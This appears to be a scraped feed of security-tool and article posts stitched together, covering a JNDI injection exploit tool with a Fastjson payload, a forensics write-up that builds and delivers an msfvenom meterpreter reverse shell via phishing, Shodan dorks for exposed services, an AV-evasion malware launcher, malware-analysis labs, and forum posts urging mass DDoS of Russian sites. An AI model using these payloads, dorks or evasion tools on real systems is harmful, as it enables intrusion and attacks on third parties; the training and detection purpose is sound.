10 ways to get RCE From LFI

this illustrates multiple ways to upgrade your LFI to RCEContinue reading on Medium »
Read more...

JNDI-Injection-Exploit - A Tool Which Generates JNDI Links Can Start Several Servers To Exploit JNDI Injection Vulnerability

JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server. RMI server and LDAP server are based on marshals and modified further to link with HTTP server. Using this tool allows you get JNDI links, you can insert these links into your POC to test vulnerability. For example, this is a Fastjson vul-poc: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true} We can replace "rmi://127.0.0.1:1099/Object" with the link generated by JNDI-Injection-Exploit to test vulnerability. Disclaimer All information and code is provided solely for educational purposes and/or testing your own systems for these vulnerabilities. Usage Run as $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C command -A address where: -C - command executed in the remote classfile. (optional , default command is "open /Applications/Calculator.app") -A - the address of your server, maybe an IP address or a domain. (optional , default address is the first network interface address) Points for attention: make sure your server's ports (1099, 1389, 8180) are available . or you can change the default port in the run.ServerStart class line 26~28. your command is passed to Runtime.getRuntime().exec() as parameters, so you need to ensure your command is workable in method exec(). Command in bash like "bash -c ...." need to add Double quotes. Examples Local demo: Start the tool like this: $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1" Screenshot: Assume that we inject the JNDI links like rmi://ADDRESS/jfxllc generated in step 1 to a vulnerable application which can be attacked by JNDI injection. In this example, it looks like this: public static void main(String args) throws Exception{ InitialContext ctx = new InitialContext(); ctx.lookup("rmi://127.0.0.1/fgf4fp");} then when we run this code, the command will be executed , and the log will be printed in shell: Installation We can select one of the two methods to get the jar. Download the latest jar from Realease. Clone the source code to local and build (Requires Java 1.8+ and Maven 3.x+). $ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git $ cd JNDI-Injection-Exploit $ mvn clean package -DskipTests To do (Done)Combine this project and JNDI-Injection-Bypass to generate workable links when trustURLCodebase is false in higher versions of JDK by default. … ... Download JNDI-Injection-Exploit
Read more...

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Write up: Detect malicious hacker activities on endpoints

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Write up: Detect malicious hacker activities on endpointsPost Views: 181 IntroductionWelcome to the 21st century, where almost everything in life is connected to an electronic device. At one time, the term digital forensics was a synonym for computer forensics, but now involves all devices capable of storing digital data. No matter what term is used, the goal is to identify, collect, examine, analyze digital data.

Digital forensics is not only about finding the artifact, it is a formal examination analysis of the digital evidence to prove or to disapprove whether the accused committed the violation.

As a digital forensic examiner, your conclusions can have an extraordinary impact on the subjects of the investigation. To be an effective digital forensic examiner, you need to be aware of both sides, defensive and offensive. You have to understand how data is created, shared, and saved in the digital realm and be able to preserve that evidence in a forensically sound manner and testify in proceedings.
Detecting Malicious hacking activities can be done in different ways. However, when you are after more sophisticated attacks, and you are compromised, there is a certain set of techniques that you can use, to pinpoint specifically how the attack took place and trace it back. The below writeup is a scenario that will show you a real example and the steps that you can use, to detect such attacks in real-time and prevent them. Technical PartRequirements and tools you need in order to perform this specific scenario:

* Virtual Box
* Windows Server 2019 .iso
* Kali Linux Machine
* IOC and YARA Scanner
* Network Protocol Analyzer
* Wireshark
* Mimikatz
* Metasploit Steps to ReproducePhase 1:
Install Thor ATP Scanner
First, you need to visit and download Thor based on what OS you want to perform the investigation. For this demonstration, we used windows server 2019. https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/SS1.png Extract thor10.7lite-win-pack on Windows server 2019. https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/SS2.png First investigation: Perform Digital Forensics on windows server 2019 (non-compromised machine)

Start Wireshark, and capture the network traffic. https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/SS3.png Next step is to run the tool: Thor64-lite.exeThor ATP scanner starts and discovers possible malware families based on textual and/or binary patterns. After finishing it will save automatically a report, so you can analyze it and keep it as proof to compare before and after compromising the machine. This will give you the ability to understand how the Thor ATP scanner uses Yara rules against the compromised machine to help malware researchers identify and classify malware samples. It allows you to create descriptions (or rules) for malware families based on textual and/or binary patterns. Each description, a.k.a. rule, consists of a set of strings and a boolean expression that determine its logic.
Let’s see an example: rule silent_banker : banker{meta:description = "This is just an example"threat_level = 3 in_the_wild = true strings: $a = {6A 40 68 00 30 00 00 6A 14 8D 91} $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9} $c = "UVODFRYSIHLNWPEJXQZAKCBGMT" condition: $a or $b or $c }See Also: Complete Offensive Securi[...]

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Offensive Security Tools Collection: Red Teaming Tactics and Techniques

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Offensive Security Tools Collection: Red Teaming Tactics and TechniquesPost Views: 134 https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png Reading Time: 1 Minute

Offensive Security Tools Collection: Red Teaming Tactics and Techniques GitHub Link What is ired.team?This collection of tools and methodologies by mantvydasb will help you enhance your skillset when it comes to Offensive Security. It will share and show you several Red Teaming Tactics and Techniques based on a comprehensive collection of documentation, hacking tools and more.
See Also: Recon Tool: Metagoofil The GoalThe goal of this project is simple – read other researchers work, execute some common/uncommon attacking techniques in a lab environment, do your own reasearch and:
* Understand how various cyber attacks and techniques can be executed and how they work
* Learn about how malware is written
* Write code to further understand the tools and techniques used by attackers and malware authors
* Learn more about C++, Windows internals and Windows APIs
* See what artifacts the techniques and tools leave behind on the endpoint
* Try out various industry tools for pentesting, coding, debugging, reverse engineering, malware analysis, and become more proficient in using them
* Take notes for future reference
See Also: Data wiper deployed in cyber-attacks targeting Ukrainian systems https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/merch.png Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/metagoofil-90x90.png Recon Tool: Metagoofil1 day ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/swaks-1-90x90.png Offensive Security Tool: Swaks – Swiss Army Knife for SMTP1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Odin-90x90.png OSINT & Recon Tool: Odin1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/pre-90x90.png Offensive Security Tool: Sandbox Defender2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/unknown-90x90.png Offensive Security Tool: Stratus Red Team3 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Working-of-Digital-Steganography-90x90.png Offensive Security Tool: Crypto Steganography4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/86676611-2c44d500-bfd1-11ea-87fd-faf874a2dcf2-90x90.png Recon Tool: WitnessMe4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/sqlmap-90x90.png Offensive Security Tool: SQLMap1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/comit_stream-90x90.png OSINT Tool: Commit Stream1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/EDR-Hooked-90x90.png Offensive Security Tool: Ivy1 month ago
The post Offensive Security Tools Collection: Red Teaming Tactics and Techniques first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

ty and Ethical Hacking Course
Phase 2:

Create a payload and compromise the machine.
To study and see how Thor can detect malwares we need to create a payload using msfvenom to perform the second action. Open your terminal and type msfvenom (in this scenario we used) msfvenom –p windows/x64/meterpreter/reverse_tcp LHOST= payload.exeat that point, we have set a payload to compromise the victim’s machine using meterpreter reverse tcp also set a listener and a port.
The next step is to execute it from a Windows perspective. In a real-world practical situation, this will require social engineering skills.
After you have created the payload you need to deliver the payload and compromise the machine. So we will create a phishing page using The Social-Engineer Toolkit which is a preinstalled tool in Kali Linux OS. The phishing link can be sent to the victim user to download and run the payload. https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/SS4.png The screenshot above shows what commands you need to issue within Metasploit. First, we will tell Metasploit to use the generic payload handler (multi/handler) using the command use multi/handler.
We will then set the payload to match the one set within the executable using the below command: set payload windows/x64/meterpreter/reverse_tcpWe will then set the LHOST and LPORT this way set LHOST= and set LPORT= Once done, type runor exploitand press Enter.
The executable causes the payload to be executed, and connect back to the attacking machine (Kali Linux). Immediately, we receive a Meterpreter session on our Kali Linux.

We successfully receive a Meterpreter session. Typing sysinfo shows us the information of our target. getuid shows that we are running as a user on Windows 10, but we can elevate to SYSTEM by issuing getsystem. We can see that elevation was successful and can confirm this by issuing getuid again. We can see we are now NT AUTHORITYSYSTEM.
When the payload executes, the machine is compromised.

So you need to perform an investigation to detect and monitor the traffic and find exactly what runs in the background.
See Also: How ILOVEYOU worm became the first global computer virus pandemic
Phase 3:
Start the investigation through the compromised machine using Wireshark and Thor ATP Scanner. https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/SS5.png The investigation team has detected and understood the network traffic using the Wireshark network analyzer on the victim’s machine and start checking and logging activities in real-time.

Using filtering with Wireshark can help you find a smart way to detect all of the attacks that happened in real-time between the attacker machine and the victim. https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/SS6.png Running again Thor ATP scanner on a possible compromised machine will let you detect easily the malicious payload and activity that a hacker can do.

Incident response engagements often begin with a group of compromised systems and an even bigger group of systems that are possibly affected.
Looking at the report you can see the alert with details. https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/SS7.png The report looks awesome and the knowledge you get using those tools is great, but it’s not enough. Knowledge is power, but you have to use it for a good purpose. https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/SS8.png You can highlight the MD5 and automate the drop-down layer, they pop up and give you the ability to scan the specific md5 using virus total, riksIQ, google, and Valhalla to analyze and study the results.

The purpose of this action for this situation is to detect and terminate the specific services that run in the background, monitor the network, and alert the blue team and th[...]

___________________________
@hacking_Attack
@Hacking_Video

e red team to investigate and study to find a solution to remediate the problems. https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/SS9.png Nowadays hackers have a lot of resources to learn about offensive security and how things work around network and security. Everything runs using technology and network connections, it is crucial to know what Offensive Security is and to be able to use it effectively. Systems, important files, data, and other important virtual things are at risk if there is no security protecting them, but from specific attacks.

Not only it is crucial to know what Offensive Security is but also to understand why it is important. The game has been taken to another level by hackers, so organizations and their employees should know what is at risk if it’s not dealt with.

The cost of Cyber threats is at an all-time high and the breaches of security systems can be undiscovered for months. Knowledge from that perspective is so big and fast-growing, and you need to be ready before the attack takes place.
Note: Watch this writeup in action and live demo by joining our Patreon Channel Below https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png Recent Articles* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Articles_Gallery-90x90.png How ILOVEYOU worm became the first global computer virus pandemic4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/Stuxnet-90x90.png Stuxnet – A weapon made out of code that almost started WW32 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/Article-90x90.png Hacking stories – Rafael Núñez (aka RaFa), hacking NASA with the hacking group: World of Hell4 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/operation-troy-90x90.png Hacking stories – Operation Troy – How researchers linked the cyberattacks4 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Operation-Aurora-90x90.png Hacking stories – Operation Aurora: When China hacked Google5 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/The-first-botnet-hijacker-90x90.png Hacking stories – The first botnet hijacker aka the Zombie King6 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/featured_image_jonathan_james_hacker-90x90.png Hacking Stories: Jonathan James – The teenager who hacked NASA for fun7 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Untitled-design-4-90x90.png Hacking Stories: Andrian Lamo – The ‘homeless’ Hacker8 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/photo-1468436139062-f60a71c5c892-scaled-90x90.jpg “Worst” MacOS Security Bug Recently Patched by Apple8 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/05/wallpaperflare.com_wallpaper-90x90.jpg Jeff Moss, aka Dark Tangent, the person who founded DEF CON and Black Hat9 months ago
The post Write up: Detect malicious hacker activities on endpoints first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Putting the X Factor in XDR

While extended detection and response (XDR) is effectively considered an upgrade from endpoint detection and response, enterprises must still begin with a strong EDR foundation.

hacking: security in practice
We should create something like Folding@Home called Hacking@Home so we can collectively DDOS/hack the shit out of everything in Russia

I am a complete noob at this but it would be very cool if millions of people could DDSO/hack the shit out of a lot of Russia's websites/infrastructure

submitted by /u/Mirrormaster85
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
7 months ago, I asked you to do something about Russia. Now they've invaded Ukraine, and you're just now waking up???

https://www.reddit.com/r/hacking/comments/ofrmzq/hacking_russia/?utm_medium=android_app&utm_source=share

submitted by /u/yourname241
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
PMAT-labs : Labs For Practical Malware Analysis And Triage

PMAT-labs, this repository contains live malware samples for use in the Practical Malware Analysis & Triage course (PMAT). These samples are either written to emulate common malware characteristics or are live, real world, “caught in the wild” samples. Both categories are dangerous. These samples are to be handled with extreme caution at all times.

* Do not download these samples to a computer you do not own.
* Do not execute any of these samples on a computer you do not own.
* Do not download and/or execute these samples in an environment that you cannot revert to a saved state, i.e. a virtual machine.
* Practice safe malware handling procedures at all times when using these samples.

By downloading the contents of this repository, regardless of if you have purchased the course or not, you are agreeing to the End User License Agreement. Please refer to EULA.mdfor more information.

About the Course

If you’re here after purchasing the course, welcome! Thank you for supporting me as a content creator. Read on to the next section to learn how the lab repo works.

If you’re here not having purchased the course, welcome! The labs for the course are free (and always will be) and are hosted here on GitHub for anyone who is interested. But if you’re don’t quite know where to begin and/or are interested in learning malware analysis from 9+ hours of high-quality video content, consider buying the course! The videos were made with love to build you into a capable, knowledgeable malware analyst.

If you want to purchase the course and support me as a content creator, please also consider using my affiliate link!

Structure

The structure of this repository maps to the course videos. The top directory contains the name of the section, and the subdirectories are the samples in use during that part of the course. For example

labs
┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4c2.png 0-1.HandlingAndSafety
┃ ┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png Malware.Calc.exe.7z
┃ ┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png md5sum.txt
┃ ┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png password.txt
┃ ┗ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png sha256sum.txt
┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4c2.png 1-1.BasicStaticAnalysis
┃ ┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4c2.png Malware.PackedAndNotPacked.exe.malz
┃ ┃ ┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png Malware.PackedAndNotPacked.exe.zip
┃ ┃ ┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png md5sum.txt
┃ ┃ ┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png password.txt
┃ ┃ ┗ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png sha256sum.txt
┃ ┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4c2.png Malware.Unknown.exe.malz
┃ ┃ ┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png Malware.Unknown.exe.7z
┃ ┃ ┣ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png README.txt
┃ ┃ ┗ https://s.w.org/images/core/emoji/13.1.0/72x72/1f4dc.png password.txt
…[snip]…

n the example above, the 0-1.HandlingAndSafetydirectory contains a zipped copy of Malware.Calc.exe.7zand the other files that sample is provided with. It is used in the Handling and Safetysection in the course.

Underneath the Handling and Safety sample, the 1-1.BasicStaticAnalysisdirectory contains two samples that are used in that section. The whole course follows this structure, so check to see which section you’re currently in and then the videos will reference the sample to work on. Topics

Each section is broken down by topic:

Malware Handling and Safety

This section covers basic malware handing and safety, including defanging malware and sa[...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
ShonyDanza : A Customizable Tool For Researching, Pen Testing, And Defending With The Power Of Shodan

ShonyDanza is a customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.

With ShonyDanza, you can:

* Obtain IPs based on search criteria
* Automatically exclude honeypots from the results based on your pre-configured thresholds
* Pre-configure all IP searches to filter on your specified net range(s)
* Pre-configure search limits
* Use build-a-search to craft searches with easy building blocks
* Use stock searches and pre-configure your own stock searches
* Check if IPs are known malware C2s
* Get host and domain profiles
* Scan on-demand
* Find exploits
* Get total counts for searches and exploits
* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza

Installation

git clone https://github.com/fierceoj/ShonyDanza.git

Requirements

* python3
* shodan library

cd ShonyDanza
pip3 install -r requirements.txt

Usage

Edit config.py to include your desired configurations
cd configs
sudo nano config.py

config file for shonydanza searches
REQUIRED
maximum number of results that will be returned per search
default is 100
SEARCH_LIMIT = 100
REQUIRED
IPs exceeding the honeyscore limit will not show up in IP results
scale is 0.0 to 1.0
adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results
HONEYSCORE_LIMIT = 1.0
REQUIRED – at least one key: value pair
add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu
see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries
check into “vuln:” filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)
STOCK_SEARCHES = {
‘ANONYMOUS_FTP’:’ftp anonymous ok’,
‘RDP’:’port:3389 has_screenshot:true’,
‘OPEN_TELNET’:’port:23 console gateway -password’,
‘APACHE_DIR_LIST’:’http.title:”Index of /”‘,
‘SPRING_BOOT’:’http.favicon.hash:116323821′,
‘HP_PRINTERS’:'”Serial Number:” “Built:” “Server: HP HTTP”‘,
‘DOCKER_API’:'”Docker Containers:” port:2375′,
‘ANDROID_ROOT_BRIDGE’:'”Android Debug Bridge” “Device” port:5555′,
‘MONGO_EXPRESS_GUI’:'”Set-Cookie: mongo-express=” “200 OK”‘,
‘CVE-2019-11510_PULSE_VPN’:’http.html:/dana-na/’,
‘CVE-2019-19781_CITRIX_NETSCALER’:’http.waf:”Citrix NetScaler”‘,
‘CVE-2020-5902_F5_BIGIP’:’http.favicon.hash:-335242539 “3992”‘,
‘CVE-2020-3452_CISCO_ASA_FTD’:’200 “Set-Cookie: webvpn;”‘
}
OPTIONAL
IP or cidr range constraint for searches that return list of IP addresses
use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)
NET_RANGE = ‘0.0.0.0/0’

Run
cd ../
python3 shonydanza.py
Download

___________________________
@hacking_Attack
@Hacking_Video

fe practices for transfer and storage.

Basic Static | Basic Dynamic

This section covers initial triage, static analysis, initial detonation, and the primary methodology of basic analysis.

Advanced Static | Advanced Dynamic

This section covers advanced malware analysis methodology and introduces Assembly, debugging, decompiling, and inspecting the Windows API at the ASM level.

Specialty Class Malware

This section covers different specialty classes of malware like maldocs, C# assemblies, and script-based malware. It also includes a section on mobile platform malware analysis.

Bossfights!

The Bossfights pit you against infamous real world samples of malware and require you to do a full analysis.

Automation | Rule Writing | Report Writing

This section covers effective report writing, Yara rule writing, and automating the initial stages of triage with Blue-Jupyter.

Course Conclusion: Course Final | References | Resources | Further Readings

The course final consists of a capstone in which you will combine all relevant skills in this course to write and publish open-source information about a given sample from the course.

The course conclusion includes further readings, references, and helpful resources for further learning. Please note:some samples are used multiple times in different sections. Check to make sure which sample the course videos are referencing and that you have the correct one for a given video.

Challenges

The challenge samples in this course are used as mini-capstones for the different sections. Each sample marked as a Challenge includes a set of questions to answer about the sample as well as an answers/directory. The README in the answers/directory contains brief answers to each question in the Challenge. Try to get as far as you can without looking at the answers first! Password

Each sample is zipped and password protected. The password for all malware samples is infected. Report Template

In one of the final sections of the course, I teach how to write a simple Malware Analysis report. The template used in that section is here. Feel free to use this as a template for this course or any other malware reports you want to create.
https://blogger.googleusercontent.com/img/a/AVvXsEjPTsWNvOHol3dxYmbR-B6i2QruyAIBS6QrXqhkGhVUqcLnj9qkM_K5Poi6-FhtlUvUK0nSEAQuB0PiY49KAXArd5eG1MZJhErBIX5ACezqLrB2RGOVLCszmrjS86GsuvslWX50C_vrI-2_DV-g0M45WVv8WHcN8P8a4JbUFgivo6usLJkRsiZmC1Ed=s693
Cosmo?

You may be wondering, why is there a picture of a handsome cat in the root directory?

cosmo.jpeg

That’s Cosmo, my cat. He’s not very good at malware analysis, so he’s along for the ride to learn things. I don’t have high hopes for him (he is just a cat after all). cosmo.jpegserves two functions. A Surrogate Data File

The malware samples in this course are built to perform different functions. Some are designed to destroy data. Some are designed to steal it. Some don’t touch your data at all. cosmo.jpegis a placeholder for the precious, precious data that an average end user may have on their host. Some malware samples in this course will steal him, encrypt him, encode and exfiltrate him, the whole nine yards. So to accurately represent what data theft or destruction might look like, the custom written malware samples in this course are going to target this file specifically.

It’s a bit of a hefty file (about 1.6MB), unlike Cosmo himself who is not a hefty cat at all. So it should serve well as a data file placeholder. Environmental Keying

I wrote the samples for this course from the ground up to be as safe as possible. I am aware that putting malware samples out into the world, regardless of your intention for doing so, imparts risk. So to help mitigate the possibility that these samples could be used maliciously, I’ve keyed them to this particular file. This is a red team tactic that [...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Skrull : A Malware DRM, That Prevents Automatic Sample Submission By AV/EDR

Skrull is a malware DRM, that prevents Automatic Sample Submission by AV/EDR and Signature Scanning from Kernel. It generates launchers that can run malware on the victim using the Process Ghosting technique. Also, launchers are totally anti-copy and naturally broken when got submitted.

Video Demo
https://blogger.googleusercontent.com/img/a/AVvXsEiWEUMuooF0RhFZBGKytWPRmTeF3VEGU0RGi_g-Vwz1btrhdNqBIgpcEbcZvFPMFiz-AnGaVrO6N8jJTcrgx7w_7QOZYsiP9UKq8yQknBI8ETEvUf_-5EqBHwpzlRxNgSOXm3l1gTVcuT5uGYSxoRBJGUnRuH-_jkXhLt7xDoL7GOKb7W2j1OxlxzCz=s480

Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
RiotPot : Resilient IoT And Operational Technology Honeypot

RiotPot is an interoperable medium interaction honeypot, primarily focused on the emulation IoT and OT protocols, although, it is also capable of emulating other services.

This services are loaded in the honeypot in the form of plugins, making RIoTPot a modular, and very transportable honeypot. The services are loaded at runtime, meaning that the weight of the honeypot will vary on premisses, and the services loaded e.g. HTTP, will only be used when required. As consequence, we highly recommend building your own binary customized to your own needs. Refer to the following section, Installation, for more information.

Architecture

RIoTPot has a modular architecture that facilitates extensability of the honeypot. The honeypot further offers a hybrid-interaction capability where users can choosed the desired interaction levels for the protocols simulated. The image below shows the high/level architecture of RIoTPot.
https://blogger.googleusercontent.com/img/a/AVvXsEizPD1dpYp-mSm6PiW15mO27LgrLQZtErmMClOPoDEhPML8ool-59U8alLCggZg9HzDhqVrqVRvwzT9XkxwWDICGJnWTizF6GE_-5lCIYEz6h4QlagRFys5RSKKW2PWUI2K9bnx0GCIfhZgzM5QoADme55tzXnd2FPaKjOGPORpnv_yV-IJha1mF2NM=s627
The architecture contains 6 components.

RIoTPot core The core of the honeypot consists of the required modules for configuration, administration and orchestration of the container network.

Configuration & Orchestration The configuration module provides RIoTPot with all the required parameters at startup. This includes the user preferences for specific protocols and profile simulation and the desired interaction level. The orchestration module is responsible for the network management from the core to the high-interaction protocol services simulated on containers. The received attack traffic is forwarded to the respective container that hosts the protocol on which the attack was targeted. Furthermore, the orchestra tor also facilitates the communication to the containers if they are hosted on a cloud-based environment.

Attack Capture and Noise Filter The attack capture and noise filter module filters out the suspicious traffic received from Internet-wide scanners like Shodan and Censys. This helps the administrator to concentrate on attacks that are not from benign sources.

Hybrid-Interaction (Low and High-Interaction modes) RIoTPot is implemented in Go language \cite{go} and facilitates the modular architecture and development through packages. The packages act as plug-ins that can be added to the honeypot to extend the protocols simulated. RIoTPot offers a hybrid-interaction model with a preference of low- or high-interaction. The low-interaction is achieved through independent packages, with each package simulating a specific protocol. The high-interaction model is realized with a containers with the protocols simulated as services installed. The containers act as high-interaction modules that offer a full implementation of the protocol. Additional protocol services can be added by integration of containers with desired protocol services. The hybrid-interaction model further allows the user to emulate selective protocols on low or high-interaction levels. For example, the user can choose to have SSH in low-interaction mode and MQTT in high-interaction mode thereby operating in a hybrid-interaction mode.

Attack Database The attack database stores all the attack traffic received on the honeypot. The database is setup as an independent module to ensure data availability even if the honeypot crashes on potential large scale attacks. The database is accessible from the low-interaction and high-interaction modules for attack storage.

Noise Filter

The Noise filter module of RIoTPot filters the attacks from internet scanning engines to reduce alert fatigue. With this feature, attacks are labelled as ben[...]

___________________________
@hacking_Attack
@Hacking_Video